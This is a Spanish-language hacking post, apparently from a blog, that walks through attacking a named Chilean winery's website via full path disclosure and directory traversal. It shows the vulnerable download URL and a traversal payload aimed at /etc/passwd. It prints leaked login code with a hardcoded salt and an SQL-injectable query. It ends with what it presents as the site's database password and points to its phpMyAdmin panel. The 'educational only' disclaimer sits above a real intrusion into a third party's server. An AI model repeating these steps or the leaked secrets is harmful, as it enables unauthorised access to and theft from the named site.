Antes de mostar cualquier cosa quiero dejar en claro que todo lo que leerán de aquí en adelante es sólo con fines educativos, si tu eres un hacker malo que le encanta hacer cosas feas a los sitios con este tipo de fallas tan estúpidas comunes, este documento no es para ti, asi que vete maldito delincuente hacker inescrupuloso.

Habien dicho todo esto, llego el momento de la acción. Wanna rock?
El sitio que usaremos será el de Veramonte y las vulnerabilidades que explotaré enseñaré son Full Path Disclosure y Directory Transversal (no explicaré que significa cada una ya que para eso está google y no quiero quitarle sus clientes).
Como primer paso, ingresaremos al sitio https://www.veramonte.cl y mriaremos rápidamente si encontramos algo sospechoso, a simple vista podemos encontrar una posible url candidata a ser explotada:
https://www.veramonte.cl/archivo/archivo2.php?cat=bodega
Pero si intentamos hacer cualquier cosa, nos damos cuenta de que no podemos hacer mucho :) Por ende, seguimos profundizando. En este caso, yo llegue lograr hasta la siguiente url:
https://www.veramonte.cl/admin/download.php?path=
Mis ojos se dirigieron directamente a la variable "path" y fui probando, hasta lograr mi objetivo: Descargar y navegar por los archivos como si fuese un ftp personal. Empezando por descargarme el mismo fichero download.php y ver como está hecho:
PRE0
Eso nos dice CLARAMENTE que el fichero esta mal programado, no tiene ningun tipo de validación ni de protección, por lo que es explotable. Continuamos con la azaña, vamos a provocar un path disclosure introduciendo una ruta inválida, por ejemplo:
https://www.veramonte.cl/admin/download.php?path=asdfgh
Nos encontramos que php nos muestra el siguiente error:
Warning: fopen(asdfg) [function.fopen]: failed to open stream: No such file or directory in /var/www/veramonte/html/admin/download.php on line 5Warning: fpassthru(): supplied argument is not a valid stream resource in /var/www/veramonte/html/admin/download.php on line 6
Con esto ya tenemos el full path al descubierto: /var/www/veramonte/html.
La cosa acá se pone divertida, descarguemonos el /etc/passwd:
https://www.veramonte.cl/admin/download.php?path=../../../../../../../etc/passwd
Nos encontramos con la sorpresa de que el servidor está "protegido":

Pero no importa, aún podemos seguir jugando. Descargamos el index.php para saber como funciona el sitio, que ficheros incluye, a que directorios hace referencia, etc etc.
Lo único que podemos rescatar el index es lo siguiente (código php):
//Conecta a BD testing
include("config/conex.php");
include("libreria/funciones.php");
//$conect = Conectarse();
session_start();
$secure = '%4f#.$$FUCK%%rt!89';
if (isset($_POST["enviar"])) {
$username = $_POST["charkikan"];
$password = $_POST["cazuela"];
$password = sha1($username . sha1($password) . $secure);
//echo $username." - ".$password;
$sql_users = "SELECT * FROM v_usuarios WHERE username = '".$username."' AND password = '".$password."'";
//echo $sql_users;
$resultado = mysql_query($sql_users);
if ($valor = mysql_fetch_array($resultado))
{
$_SESSION['user_sitio'] = "ON";
$_SESSION['nombre_user_sitio'] = $valor[1];
$_SESSION['apellido_user_sitio'] = $valor[2];
$_SESSION['privilegio_user_sitio'] = $valor[4];
echo "<script>window.location=\"admin.php\";</script>";
} else {
echo "<meta HTTP-EQUIV=\"Refresh\" CONTENT=\"10;URL=index.php\">";
}
}</meta>La primera línea me interesó muchisimo, me descargaré ese fichero, con las esperanzas de que estén escritos los datos de conexión a la base de datos y ....... bingo!!, lo tenemos:
PRE2
Si probamos por ftp, veremos que no podemos ingresar, entonces buscamos más posibilidades. Como yo tengo un poco de imaginación, lo que se me ocurró fue ingresar en https://veramonte.cl/phpmyadmin:

Creo que con esto, el objetivo ya está logrado.
Corrigeme si digo una gran burrada!
btw, don veramonte sabe? xD
if (!($link=mysql_connect("localhost","veramonte",'DD2__#$aS!me*}')))
xD!